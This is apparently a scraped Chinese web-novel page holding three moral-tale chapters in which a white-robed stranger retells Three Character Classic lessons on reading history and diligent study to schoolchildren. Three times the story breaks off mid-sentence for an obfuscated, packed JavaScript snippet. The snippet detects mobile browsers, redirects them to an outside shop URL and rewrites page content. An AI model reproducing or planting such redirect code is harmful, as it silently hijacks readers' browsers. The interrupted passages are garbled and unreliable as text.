唐有虞，号二帝，你让我来我让你。 夏传子，到民国，不过江水流不息。 古爷爷说朝换代，白衣人讲百姓事。 从此三皇滩上客，听史先听江海声。 正是： 闽江中秋月正明，古翁说史三皇起。 羲农黄帝到民国，二十四朝兴替事。 白衣江畔说故事，三皇只是三渔夫。 尧舜让位如让船，夏商周管如管舟。 从此听史先听水，江水长流是真人。 116.史鉴谳 楔子·龙舟说史 五月初五端午，泉州晋江边，龙舟竞渡，锣鼓震天。江畔“观澜亭”前，老儒施先生正摆着桌案，给一群蒙童讲史。 “……古今史，全在兹！载治乱，知兴衰！史虽繁，读有次——史记一，汉书二，后汉三，国志四。兼证经，参通鉴。读史者，考实录，通古今，若亲目。口而诵，心而惟，朝于斯，夕于斯。此乃读史正法，万不可乱！” 孩子们捧着《史记》《汉书》，愁眉苦脸。有个叫阿海的男孩嘀咕：“施先生，龙舟要开始了……” 施先生戒尺一敲：“史者，国之镜也！不读史，何以明兴衰？今日先讲《史记·屈原贾生列传》，再讲《汉书·百官公卿表》……” 正说着，江边传来一声清亮吆喝：“卖糖粽子喽——甜粽咸粽豆沙粽，吃了聪明赛包公！” 孩子们齐刷刷扭头。只见个戴斗笠的白衣人，担着竹担悠悠走来。担子一头是热腾腾的粽子，一头是各式小玩意：竹编的龙舟、五彩的丝线、艾草香囊。斗笠是细篾与菖蒲叶混编，檐边缀着几枚小铜铃。白衣是葛布所制，洗得发白，袖口卷起露出结实小臂。木剑插在腰后，剑穗是褪色的五色丝绦打成双钱结。面上蒙着本色棉纱，只露出一双含笑的眼睛。 “卖糖粽喽——”白衣人放下担子，揭开蒸笼，甜香四溢。 孩子们直咽口水。阿海大着胆子问：“糖粽……怎么卖？” 白衣人笑道：“不要钱，换故事。一个故事换一个粽。” “什么故事？” “就讲——”白衣人看向施先生的桌案，“你手上那本《史记》的故事。” 一、 太史公的竹简 白衣人拿起个竹编龙舟，摆在石阶上。 “话说很久以前，有个叫司马迁的人，他爹是太史令，管记史。他爹临死前说：‘儿啊，咱们祖上就当史官，记史是本分。你要接着记，从黄帝记到现在。’司马迁答应了。” “他背着竹简到处走，问老人，问农夫，问船夫，问铁匠。老人说：‘我爷爷说，他爷爷见过秦始皇修长城，抬石头累死了。’农夫说：‘我太公说，汉高祖从前在这打过仗，借了我家一斗米。’船夫说：‘我听爷爷的爷爷说，屈原就是在这投的江。’” “司马迁就记下：秦始皇的事，汉高祖的事，屈原的事。记了十年，竹简堆成山。” 白衣人从担子里拿出个粽子，剥开竹叶，米香扑鼻。 “后来他得罪了皇帝，受了宫刑。大家都以为他要寻死，可他没死。他说：‘我爹让我记史，史还没记完，不能死。’” “他在牢里还写，在病中还写。写完那天，他把竹简捆好，说：‘这是从黄帝到现在的故事。里面有皇帝，有将军，有文人，也有老人、农夫、船夫、铁匠。’” “有人问：‘你记这些普通人作甚？’司马迁说：‘没有普通人，哪来的皇帝？长城是百姓修的，仗是百姓打的，米是百姓种的。史，是百姓的史。’” 白衣人把粽子递给阿海：“这就是《史记》——不是皇帝一个人的故事，是所有人的故事。” 阿海接过粽子，咬了一口，含糊道：“那……我们能上《史记》么？” “能啊，”白衣人笑，“你爷爷的爷爷的爷爷，也许就被司马迁问过话呢。” 二、 班固的毛笔 白衣人又拿起个竹编龙舟。 “到了汉朝，有个叫班固的，接着司马迁写，写《汉书》。他爹班彪也是史官，家里藏书多。班固从小读竹简，读得眼都花了。” “他写汉高祖，写汉武帝，写卫青霍去病。可写着写着，他觉得不对——怎么全是皇帝将军？种田的呢？打铁的呢？撑船的呢？” “他就背着干粮出门，到处问。在长安市集，问卖饼的老王：‘老王，你爷爷见过汉武帝么？’老王说：‘见过！武帝出巡，我爷爷在路边卖饼，军爷把饼全拿走了，没给钱。’” “在黄河边，问老船夫：‘大爷，你爷爷运过军粮么？’老船夫说：‘运过！我爷爷说，一船粮，三十个船夫，到地方只剩二十八，累死两个。’” “班固就记下：老王爷爷的饼，老船夫爷爷的粮。他弟弟班昭说：‘哥，这些鸡毛蒜皮，记它作甚？’班固说：‘没有饼，皇帝饿不饿？没有粮，将军打不打仗？’” 白衣人又剥了个粽子，递给另一个孩子。 “《汉书》写完了，厚厚一堆。有人说：‘这是汉朝皇帝的家谱。’班固摇头：‘这是汉朝百姓的饭谱。’” 孩子们笑了。施先生坐在亭中，戒尺搁在膝上，默默听着。 三、 范晔的砚台 “汉朝完了，是三国。有个叫范晔的，写《后汉书》。他本来不想写史，想当官。可官没当好，被贬了，闲来无事，就写史。” “他写光武帝，写曹操刘备孙权。可越写越没劲——怎么全是打仗阴谋？老百姓呢？” “他就到处逛。在乡下，问老农：‘您祖上经历过黄巾之乱么？’老农说：‘怎没经历？我太爷爷说，黄巾来了，官军也来了，都抢粮。后来他躲山里，吃野菜活了。’” “在古城，问老吏：‘您祖上在衙门当差么？’老吏说：‘我爷爷是文书。他说，曹操的令，刘备的告，孙权的旨，最后都落到百姓头上——交粮，当兵，纳税。’” “范晔就记下：老农太爷爷的野菜，老吏爷爷的文书。有人说他：‘你写这些琐碎，谁看？’范晔说：‘不看琐碎，怎知乱世？’” 白衣人剥第三个粽子时，施先生忽然开口：“那《三国志》呢？陈寿怎么写？” 白衣人回头一笑，露出弯弯的眼角：“陈寿啊，他有个毛病——太简略。写曹操，‘挟天子以令诸侯’，七个字。可那些年里，百姓怎么过的？他没写。” “所以读《三国志》，得配着《后汉书》读。一本写将相，一本写百姓。就像吃粽子，”白衣人举起粽子，“糯米是糯米，肉是肉，豆沙是豆沙。单吃一样，没味；合起来，才是粽子。” 四、 司马光的灯笼 “唐朝完了是五代，五代完了是宋朝。宋朝有个司马光，编《资治通鉴》。这书厚，从战国写到五代，一千多年。” “司马光编书，有个法子：白天写，夜里也写。书房挂满灯笼，照得亮堂堂。他怕写错，每个事都要查好几本书。” “有天夜里，他查‘长平之战’。书上说，秦将白起坑杀赵卒四十万。司马光想：四十万人，怎么坑？坑多大？挖多久？谁挖的？” “他就问老仆：‘老张，你老家是长平那边的，听说过这事么？’老仆说：‘听我太爷爷说过，长平有个万人坑，现在还能挖出骨头。不过不是四十万，是四万——我太爷爷说，他爷爷的爷爷数过，数了三年，四万具。’” “司马光就记下：‘白起坑杀赵卒，或曰四十万，或曰四万，今从实考，当以四万为近。’” 白衣人看着孩子们：“你们说，是四十万对，还是四万对？” 阿海想了想：“老仆的太爷爷数过，应该是四万对。” “可史书都写四十万啊。”白衣人眨眨眼。 “那……史书写错了？” “不是错，”白衣人说，“是写史的人，有的听说，有的眼见，有的夸大，有的缩小。司马光要做的，就是提着灯笼，在夜里一本本对，一句句问——这叫‘考实录’。” 他指着江上龙舟：“就像划龙舟，有人喊‘赢了十丈’，有人喊‘赢了八丈’。你得自己去看，去量，才知道到底是几丈。” 五、 端午的龙舟 五个粽子讲完五个史家的故事。江上锣鼓骤响，龙舟赛开始了。 白衣人收拾担子，对孩子们说：“好了，故事讲完，我要去看龙舟了。” 阿海拉住他：“先生，您说读史要‘口而诵，心而惟，朝于斯，夕于斯’。可我们……背不下来啊。” 白衣人摸摸他的头，指着江上：“你看那龙舟。船头鼓手，是不是在诵？‘咚！咚！咚！’诵的是力。船尾舵手，是不是在惟？看水势，看风向，惟的是路。整船人，从早练到晚，是不是朝于斯，夕于斯？” 孩子们点头。 “读史也是这样，”白衣人说，“《史记》是鼓，给你力气；《汉书》是舵，给你方向；《后汉书》是桨，让你看清左右；《三国志》是旗，让你知道目标；《通鉴》是整条船，载你过历史的江。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200308|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用全背，但要记住：史是百姓的史，是粽子的史，是龙舟的史。你爷爷的爷爷划龙舟，你爹的爹包粽子，这些也是史。” 他挑起担子，走向江边。走了几步，回头笑道：“对了，今日端午，屈原投江的故事——司马迁问过渔夫，范晔问过船家，司马光查过楚地志。可最知道屈原的，是江里的鱼，是岸边的百姓。你们要吃粽子，要看龙舟，要听百姓说的屈原，那才是真的史。” 尾声·江畔实录 那天之后，施先生不再逼孩子背《史记》《汉书》了。他在观澜亭挂了个牌子：“端午说史——一个粽子一个故事”。 孩子们带来粽子，他就讲：讲屈原的故事，讲伍子胥的故事，讲曹娥的故事——都是从老人、渔夫、船家那里听来的。他说：“这是《史记》没写的，《汉书》漏掉的，《后汉书》忘掉的，《通鉴》略掉的——可这是真的史。” 阿海后来成了船夫，也爱说史。他说：“我爷爷的爷爷，在晋江划了五十年船。他说，江底沉着唐朝的瓦，宋代的砖，明朝的锚。这些也是史。” 而那个卖糖粽的白衣人，再也没有出现。但端午那天，总有孩子在江边看到个戴斗笠的白影，站在最远的礁石上看龙舟。风吹过，带来隐约的歌声： 古今史，全在兹，不在竹简在粽子。 载治乱，知兴衰，要看江水和船桨。 史记一，汉书二，后汉三，国志四——不如爷爷说故事，不如奶奶唱古谣。 兼证经，参通鉴，考实录，通古今——龙舟鼓是太史公，船桨是班固笔，江水是司马光灯笼。 口而诵，心而惟，朝于斯，夕于斯——诵的是糯米香，惟的是菖蒲长，朝朝暮暮是百姓日子长。 本章诫世 一、 读史真义训 - 古今史，全在兹。载治乱，知兴衰。史虽繁，读有次。史记一，汉书二。后汉三，国志四。兼证经，参通鉴。读史者，考实录。通古今，若亲目。口而诵，心而惟。朝于斯，夕于斯 - 破解法：读史者，自问“史是谁的史？是竹简的，还是粽子的？是庙堂的，还是江边的？可只诵书，不诵百姓？可惟文字，不惟人事？” 二、 五史五喻 - 《史记》喻问——司马迁问老人、农夫、船夫、铁匠，史是问出来的 - 《汉书》喻饭——班固记卖饼的老王、运粮的船夫，史是百姓的饭谱 - 《后汉书》喻琐——范晔记老农的野菜、老吏的文书，史是乱世的琐碎 - 《三国志》喻简——陈寿写将相简略，需配百姓史读，如粽子需糯米配肉 - 《通鉴》喻灯——司马光提灯笼对书问人，史是夜里一盏灯 - 五明：史是百姓史，是生活史，是琐碎史，是需配着读的史，是需提灯考的史 三、 粽子大道 - 深层隐喻：史是粽子，竹叶是书，糯米是百姓，肉是帝王，豆沙是文人。只吃糯米，知百姓苦；只吃肉，知帝王事；只吃豆沙，知文人思。合起来吃，才是真史。读史者，当如包粽，当如吃粽，当如品粽 - 终极指向：世人读史，易入歧途：重书卷而轻口传，重将相而轻百姓，重大事而轻琐碎，重一家而轻兼参，重背诵而轻思考。史是生活，是江水，是龙舟，是粽子。莫在书斋求江，莫在竹简求米 端午史偈： 晋江端午赛龙舟，施师讲史要童诵。 史记汉书后汉志，兼证通鉴考实录。 白衣卖粽说史事，太史公简问百姓。 班固笔写百姓饭，范晔砚记乱世碎。 司马光灯笼对书，陈寿略需配民读。 后世叹： 古今史，全在兹，不在竹简在粽子。 载治乱，知兴衰，要看龙舟和船桨。 施师要童诵经史，白衣说史在百姓。 从此观澜亭上说，一个粽子一史事。 正是： 端午晋江赛龙舟，老儒亭中说史经。 史记汉书后汉志，通鉴实录要童诵。 白衣担粽说史事，史在百姓粽米中。 从此读史先问民，不在竹简在生活。 117.勤学谳 楔子·重阳晒书 九月初九重阳，姑苏城“书香巷”里，家家户户在院中铺开竹席，晾晒藏书。这条巷子住的都是读书人，晒书是祖传习俗——防霉防蠹，也显学问。 巷口老槐树下，私塾先生文老夫子正襟危坐，对几个蒙童讲学： “……昔仲尼，师项橐。孔子乃圣人，尚拜七岁孩童为师，尔等小子，岂可不勤学？赵中令，读鲁论。赵普身为宰相，犹且手不释卷，尔等白身，岂敢懈怠？” 孩子们捧着《论语》，呵欠连连。有个叫阿墨的男孩，约莫十岁，偷偷在书页上画小人。 文老夫子戒尺一敲：“阿墨！你来说，孔子为何师项橐？” 阿墨慌慌站起：“因、因项橐聪明……” “如何聪明？” “他、他会堆土城，拦孔子车……” “然后呢？” “然后……然后孔子问他话，他对答如流……”阿墨声音越来越小。 “对答什么？”文老夫子步步紧逼。 阿墨答不上来，脸涨得通红。巷口忽然传来一阵清亮的童谣声： “土城高，土城低，拦住马车笑嘻嘻。 孔子问，项橐答，答得圣人下车揖——” 众人望去，见个戴斗笠的白衣人坐在巷口石墩上，身边围着三五个街坊孩童。斗笠是细竹与茱萸枝混编，檐边缀着几颗茱萸果。白衣是苎麻所制，洗得泛白，袖口用草绳束着。木剑横放膝上，剑穗是褪色的五色丝绦打成重阳结。面上蒙着本色棉纱，一双眼睛弯如新月，正教孩子们拍手唱童谣。 文老夫子皱眉：“何人喧哗？” 白衣人抬头，声音温和：“教孩子们唱个古谣——文先生，您接着讲学。” 文老夫子却盯着他：“你既知项橐故事，何不说来听听？也让这些蒙童长长见识。” 一、 土城的故事 白衣人拍拍身边石墩，让孩子们围坐一圈，自己也坐下。 “好，就说项橐。话说孔子周游列国，一日行车道上，见几个孩童在路中玩。他们用泥土垒了座城，有城门，有城墙，有旗杆。孔子车马到跟前，孩童不让。孔子下车问：‘为何不让路？’” 白衣人顺手从地上抓了把土，在石墩上垒起个小土堆。 “为首孩童就是项橐，那年七岁。他指着土城说：‘老先生请看，这是城。自古只有车绕城，哪有城让车？’” 他在土堆旁画了道车辙。 “孔子一愣，继而大笑：‘说得是！’便命车马绕行。绕行时，孔子问项橐：‘小友，天上有多少星？’” 白衣人抬头看天，孩子们也跟着抬头。 “项橐说：‘天上星，地上尘。老先生问星，何不先数尘？’” “孔子又问：‘地上有多少人？’” “项橐说：‘人分两种：男人，女人。’” “孔子再问：‘一年有多少日？’” “项橐说：‘三日：昨日，今日，明日。’” 阿墨忍不住插嘴：“这……这也算答了？” 白衣人笑：“孔子也这么想。他说：‘你这答法，太过取巧。’” “项橐反问：‘那老先生，鹅鸭为何能浮水？鸿雁为何能鸣叫？松柏为何能长青？’” “孔子一一答了。项橐却说：‘不然。鹅鸭能浮，因脚有蹼；鸿雁能鸣，因颈子长；松柏长青，因心中实——老先生答的，都是表象。’” 文老夫子听到这里，忍不住走近两步：“后来呢？” “后来孔子下车，整衣冠，对项橐一揖：‘后生可畏，吾当师之。’”白衣人看着孩子们，“你们说，孔子为何要拜七岁孩童为师？” 阿墨抢答：“因项橐聪明！” “聪明在哪？” “他……他会反问！” “不止，”白衣人说，“是他敢在路中垒土城，敢拦圣人之车，敢问圣人不知之事。孔子拜的，不是他的聪明，是他的‘敢’——敢疑，敢问，敢不同。” 他拍拍手上土：“这故事，书里写‘昔仲尼，师项橐。古圣贤，尚勤学’。可勤学是什么？是敢垒土城，敢拦车马，敢问‘为何’。” 二、 宰相夜读的故事 白衣人从怀里掏出几块重阳糕，分给孩子们。 “再说赵普。此人少时贫寒，读书不多。后来做了宰相，白天理政，夜里读书。读什么？只读《论语》。” “有同僚笑他：‘赵相，天下书海，何只读《论语》？’赵普说：‘半部《论语》治天下。’” “一夜，他在灯下读《论语》，读到‘己所不欲，勿施于人’，忽拍案而起，在书房踱步。夫人问：‘老爷何事？’赵普说：‘今日有桩案子，我判得不对。’” 白衣人拿起块重阳糕，掰作两半。 “原来白日有两人争田。甲富乙贫，甲有地契，乙称祖产。赵普按律判给甲。夜里读《论语》，想到‘己所不欲’，自问：‘我若是乙，祖产被夺，欲乎？’答：‘不欲。’既不欲，何以施于人？” “次日重审，细查之下，发现地契是伪。乙感涕零，甲伏罪。同僚问：‘赵相如何察觉？’赵普说：‘非我察觉，是《论语》教我。’” 文老夫子捻须：“此乃‘彼既仕，学且勤’之典范。” 白衣人却摇头：“文先生，赵普勤学，勤在何处？” “自然勤在手不释卷，勤在……” “勤在‘用’。”白衣人说，“赵普读《论语》，不是为背书，是为治事。白日判案，夜里读书；读书有得，次日改判。这才是真勤学——学了要用，用中再学。” 他看向阿墨：“若只背书，不知用，就像晒书——书晒得再干，不读不用，与砖石何异？” 巷中晾晒的《论语》《孟子》，在秋阳下泛着黄光。 三、 重阳的问答 文老夫子沉默良久，走到白衣人对面石墩坐下。 “先生之意，是说……勤学不在背书，在用？” “文先生教《论语》，可曾用《论语》？”白衣人问。 “这……”文老夫子怔了怔，“教便是用。” “前日巷中李、王二家争墙，先生可知？” 文老夫子点头。那是巷尾两家，为一道院墙起了争执，闹了半月。 “《论语》有云：‘里仁为美。’先生可曾用此句劝和？” 文老夫子语塞。他当时闭门读书，嫌邻舍吵闹，未加理会。 白衣人从袖中取出一片茱萸叶，递给文老夫子：“重阳佩茱萸，是为驱邪避恶。书如茱萸，读之佩之，是为驱心中之邪，避行事之恶。若只晒不佩，何益之有？” 这时，巷尾传来吵嚷声。正是李、王二家，又在争墙。 文老夫子起身，整了整衣冠，忽对阿墨等学童道：“今日停课，随我来。” 四、 土城与院墙 一群人走到巷尾。李家说墙是他家祖砌，王家说地是他家祖业，各不相让。 文老夫子深吸一口气，走到两家人中间，拱手道：“二位，《论语》有云：‘礼之用，和为贵。’又有云：‘里仁为美。’你我同住一巷，是谓‘里’；仁里和睦，是谓‘美’。今为一道墙，伤和气，失仁里，岂不违圣人之教？” 两家人愣住。他们从未听过文老夫子说这些。 阿墨忽然从人群中钻出，指着那墙说：“这墙是土砖砌的，就像项橐的土城！车要绕城，人要绕墙——李伯伯，王伯伯，你们绕开走，不就行了？” 孩童稚语，却让众人一怔。 白衣人缓步上前，从墙根抓了把土，在掌心摊开：“这土，可是姑苏的土？” “自然是。”两家人都道。 “既都是姑苏土，分什么你的我的？”白衣人说，“昔孔子见项橐垒土城，绕行；今二位为土墙相争，何不各让一步，绕‘墙’而行？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200309|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他弯腰，用木剑在墙边地上画了条线：“以此线为界，各退三尺，留出六尺巷。墙仍在此，巷可通行——可好？” 两家人面面相觑。文老夫子忽对李、王各作一揖：“老夫为邻多年，未行‘里仁’之道，惭愧。愿出修缮之资，将这墙砌齐整，六尺巷铺青砖。” 李、王二人见状，皆愧。李家说：“不敢要先生破费，我家退三尺便是。”王家说：“我家也退三尺。” 一场争执，竟就此化解。 尾声·晒书新俗 重阳过后，书香巷有了新景：那道争墙处，果真各退三尺，留出条六尺巷。巷口立了石碑，刻着“里仁巷”三字。文老夫子题的对联： 土城曾拦孔子车，仁里当让邻里行。 文家的晒书日也变了。不再只晒《论语》《孟子》，也晒“用书录”——记着某日用某句劝和，某日用某理断事。阿墨在“用书录”上画了幅画：孔子下车拜项橐，旁注：“师其敢疑，非师其智。” 至于那位白衣人，当日便飘然离去。有人见他出城往西山去了，斗笠上茱萸果红艳艳的。 后来姑苏城流传开一首童谣，孩童重阳佩茱萸时常唱： “昔仲尼，师项橐，拜的不是聪明是敢学。 赵中令，读鲁论，用的不是书本是仁心。 晒书要晒用书录，读书要读行事经。 土城可拦圣人车，仁里当让六尺巷——” 而文老夫子，每有新生入塾，必先问：“你读书为何？” 若答“为科举”“为功名”，他便摇头。若答“为用”，他便欣然授《论语》。授时必言：“此句可用在何处？此事可用何句？” 有人说，这是受了那白衣人的点化。文老夫子却道：“非是点化，是醒转。读书人，最易睡在书堆里。需有人掀开书页，让光照进来。” 那光，便是“用”之一字。 本章诫世 一、 勤学真义训 - 昔仲尼，师项橐。古圣贤，尚勤学。赵中令，读鲁论。彼既仕，学且勤 - 破解法：读书人，自问“勤学为何？为背书，还是为用书？可敢如项橐垒土城拦车？可用如赵普读《论语》断案？可只晒书不用书？” 二、 二喻二用 - 项橐喻敢——敢垒土城，敢拦圣车，敢疑敢问。勤学之首在敢，非在聪 - 赵普喻用——用《论语》断案，用圣言行事。勤学之本在用，非在诵 - 二明：勤学是敢学，敢疑敢问敢不同；勤学是用学，用书用理用行事。不疑不用，纵读万卷，亦是睡书 三、 用书大道 - 深层隐喻：书是茱萸，佩之驱邪；书是土城，垒之问道；书是墙，绕之行仁。若只晒不佩，只观不垒，只争不让，书是死物。勤学之勤，不在手不释卷，在卷不离事 - 终极指向：世人重勤学，易入歧途：重背诵而轻疑，重藏书而轻用，重书本而轻行事。书是药，治行事之病；书是灯，照前行之路；书是砖，建仁里之墙。不服药，不点灯，不砌墙，书成废纸 重阳学偈： 重阳姑苏晒书忙，文师教诵圣贤章。 仲尼师橐赵普读，要童勤学手不释。 白衣巷口说故事，孔子拜师拜敢疑。 赵普读书在用行，勤学不在诵在行。 从此书香巷晒书，晒书更晒用书记。 后世叹： 昔仲尼，师项橐，拜的是敢不是聪。 赵中令，读鲁论，用的是行不是诵。 文师要童勤背书，白衣说学在用事。 从此读书先问用，圣贤章句在行事。 正是： 重阳姑苏晒书时，文师教童勤学章。 仲尼师橐赵普论，要童手不释卷忙。 白衣巷口说故事，勤学在敢在用行。 从此晒书兼晒用，书香巷成里仁巷。 118.苦学谳 楔子·冬至夜读 腊月冬至，长安城“韦曲”巷深处，蒙馆窗纸透出昏黄灯火。馆中学究路先生正敲着戒尺，对几个孩童训话： “……尔等须知勤苦！古人披蒲编，削竹简——彼无书，且知勉！头悬梁，锥刺股——彼不教，自勤苦！如囊萤，如映雪——家虽贫，学不辍！如负薪，如挂角——身虽劳，犹苦卓！尔等有纸有笔，有灯有烛，若再懈怠，愧对古人！” 孩童们缩着脖子，呵出的白气在冷空中凝成雾。墙角炭盆里，几块劣炭将熄未熄，散着微温。 路先生翻开《劝学篇》，正要领读，巷外忽然传来清脆的童谣声： “蒲编软，竹简硬，无书无纸照样认。 梁上绳，股上锥，不教不催自己背。 囊萤光，映雪亮，家贫点灯借月亮。 负薪读，挂角看，身劳心苦不叫难——” 声音稚嫩欢快，与馆中肃杀格格不入。 路先生皱眉推窗，见对街檐下，几个乞丐孩童正围着一个白衣人拍手唱谣。白衣人坐于蒲团，面前摆着几片蒲叶、几段竹筒。斗笠是苇秆与枯草混编，檐边缀着几粒冰凌。白衣是粗麻所制，洗得发白，肩上落着薄雪。木剑倚墙而立，剑穗是褪色的五色丝绦打成梅花结。面上蒙着本色棉纱，只一双眸子在暮色中清亮如星。 “荒唐！”路先生推门而出，“尔等在此喧哗，扰人清读！” 白衣人抬头，声音温润如春水：“路先生勿怪，孩子们唱的是古谣——正与先生所教相合。” “相合？”路先生冷笑，“古人勤苦，乃为圣学。尔等编作俚曲，嬉笑唱之，成何体统！” 白衣人从怀中掏出几个热烘烘的烤薯，分给乞丐孩童，慢声道：“那便讲正经的——讲讲这蒲编、竹简、悬梁、刺股、囊萤、映雪、负薪、挂角的故事。路先生可愿一听？” 一、 蒲编与竹简 白衣人拿起一片蒲叶，指尖轻抚叶脉。 “先说‘披蒲编’。西汉有路温舒，少时牧羊，无钱买书。见泽中蒲草丰茂，便采蒲叶，裁成册，借人《尚书》，抄于蒲叶上。牧羊时，挂于羊角，边牧边读。” 他手指灵巧，将蒲叶折叠穿插，竟成一册小书模样。 “再说‘削竹简’。公孙弘年轻时家贫，在渤海边替人放猪。欲读书，无简牍，便削海边竹林为简，以刀代笔，刻字其上。放猪时，将竹简系于腰间，猪吃草，他便读简。” 白衣人又拿起竹筒，以指甲在筒身轻划，簌簌有声。 路先生身后，蒙馆孩童也悄悄溜出来，缩在门边听。 阿芦——路先生最顽劣的弟子——小声问：“先生，蒲叶写字，不会糊么？” “用炭灰写，不糊。”白衣人道，“路温舒后来成了司法官，断案公正，人颂‘路公明’。公孙弘官至宰相，倡儒学，设博士。二人所用蒲编、竹简，今在何处？” 孩童们摇头。 “腐了，朽了。”白衣人松手，蒲叶册散开，“可他们读进心里的字，没腐，没朽。” 他将蒲叶分给孩子们：“古人无书，故知书贵。今人有书——”抬眼看了看蒙馆中堆叠的典籍，“可还知贵么？” 二、 悬梁与刺股 “再说‘头悬梁’。东汉孙敬，读书至夜深易困，便以绳系发，悬于梁上。一瞌睡，绳扯发根，立醒。” 白衣人从怀中取出一段麻绳，虚虚在头顶比划。孩童们咯咯笑。 “‘锥刺股’。战国苏秦，游说列国不成，归家苦读。夜倦欲眠，以锥刺股，血流至足。后佩六国相印，衣锦还乡。” 他做了个刺腿动作，孩童们齐声“哎呀”。 路先生颔首：“此方是勤苦典范！” 白衣人却问：“路先生，孙敬后来如何？” “这……自是学有所成。” “苏秦佩六国相印后，又如何？” 路先生语塞。他只教“勤苦”，何曾问“后来”？ “孙敬成了学者，著书立说，可记得他系发的绳是什么绳？”白衣人自问自答，“麻绳。苏秦佩相印后，可还记得刺股的锥是铁锥是铜锥？不记得了。” “绳与锥，只是工具。勤苦是为明理，非为绳锥。”白衣人将麻绳编成个如意结，递给一个瑟瑟发抖的小乞丐，“天冷，系在颈上，保暖。” 三、 囊萤与映雪 夜色渐浓，雪又细细飘下。白衣人从怀中取出一只纱囊，囊中竟有微光点点——是几只冬萤，在囊中明明灭灭。 “晋朝车胤，家贫无灯油。夏日捕萤火虫数十，置纱囊中，借光读书。冬日无萤，奈何？” 他顿了顿，指向远处积雪的屋檐。 “同朝孙康，亦家贫。冬夜借雪光读书，手足冻裂而不辍。二人后来皆成大儒。” 阿芦又插嘴：“先生，萤火虫光那么暗，看得清么？” “看不清。”白衣人诚实道，“但车胤说：‘有一点光，便看一点；看一点，便明一点。’孙康说：‘雪光清冷，正可醒神。’” 他解开纱囊，萤火虫飞出，在雪夜中划出微弱光痕。 “囊萤映雪，世人只道勤苦，却不知二人所得，非在书中字，在那一‘光’——暗夜求光，贫寒求知的‘心光’。这心光，比萤亮，比雪明。” 萤火渐飞渐高，融入细雪之中。孩童们仰头望着，一时无声。 四、 负薪与挂角 “最后说‘负薪’与‘挂角’。”白衣人拍拍身边一个背着柴捆的小乞丐，“汉朝朱买臣，家贫，砍柴为生。担柴入市，置书于扁担头，边走边读。妻嫌其贫，离去。买臣说：‘我读书，非为富贵，为明理。’后官至太守，妻求复合，买臣泼水于地，曰：‘覆水难收。’” “隋朝李密，少时放牛。骑牛访友，将《汉书》挂于牛角，边行边读。后成瓦岗军首领。” 路先生听到此处，精神一振：“此二例最宜训蒙！身虽劳，犹苦卓！” 白衣人却问小乞丐：“你背柴为何？” 小乞丐怯怯道：“换饼吃。” “若让你背柴时读书，可愿？” 小乞丐茫然：“读……读什么书？” “读‘柴’的书。”白衣人从柴捆中抽出一根枯枝，“这是什么柴？” “松……松枝。” “松枝何时砍最好？” “立冬后，油脂饱。” “为何要油脂饱？” “耐烧，暖久。” 白衣人点头：“这便是学问。朱买臣读的是竹简上的字，你读的是松枝上的纹。他后来当太守，你将来或成樵中圣手——皆是学问。” 又摸另一个小乞丐的头：“你放牛时，看牛吃草，可知牛爱吃什么草？” “嫩茅草。” “何时草最嫩？” “春三月，带露时。” “这便是你的《汉书》。”白衣人微笑，“李密挂角读史，你俯首观草。他知兴替，你知枯荣——皆是学问。” 路先生怔在当场。 五、 冬至的炭火 雪愈密了。白衣人起身，从檐下抱进一捆干柴，在巷中空地点起篝火。火光熊熊，照亮孩童们冻红的脸。 “路先生，”白衣人往火中添柴，“古人勤苦，为的什么？” “自然是为明圣学，济天下！” “若车胤、孙□□在今日，有灯有烛，可还会囊萤映雪？” “这……应是不会。” “那他们的勤苦精神，今人该如何学？” 路先生语塞。 白衣人用枯枝拨着火：“囊萤，是因无灯；映雪，是因无烛；悬梁刺股，是因易困；负薪挂角，是因劳作。今人有灯有烛，不困不劳，该如何学其精神？” 他看向蒙馆孩童：“你们有纸笔，有灯火，有暖屋，有饱饭——可还知‘勤苦’二字怎么写？” 孩童们低头。 “勤，是心勤，非身勤。苦，是志苦，非身苦。”白衣人声音清朗，“车胤的心，是暗夜求光的心；孙康的心，是贫寒求知的心；孙敬的心，是困顿求醒的心；朱买臣的心，是劳作求明的心。今人无暗夜、无贫寒、无困顿、无劳作——可还有那颗心？” 篝火噼啪，雪落无声。 路先生忽然对白衣人深深一揖：“听君一席话，胜读十年书。老朽……惭愧。” 白衣人还礼：“先生教勤苦，本心甚善。只是勤苦如药，当对症下药。今人症在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209036|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘心怠’，不在‘身怠’。当治心，非治身。” 他将剩下的烤薯分给众人，对孩童们说：“吃完回家吧。明日若读书，想想古人为何勤苦——是为那卷书，还是为那颗心。” 尾声·心光不灭 那夜之后，韦曲巷蒙馆变了样子。 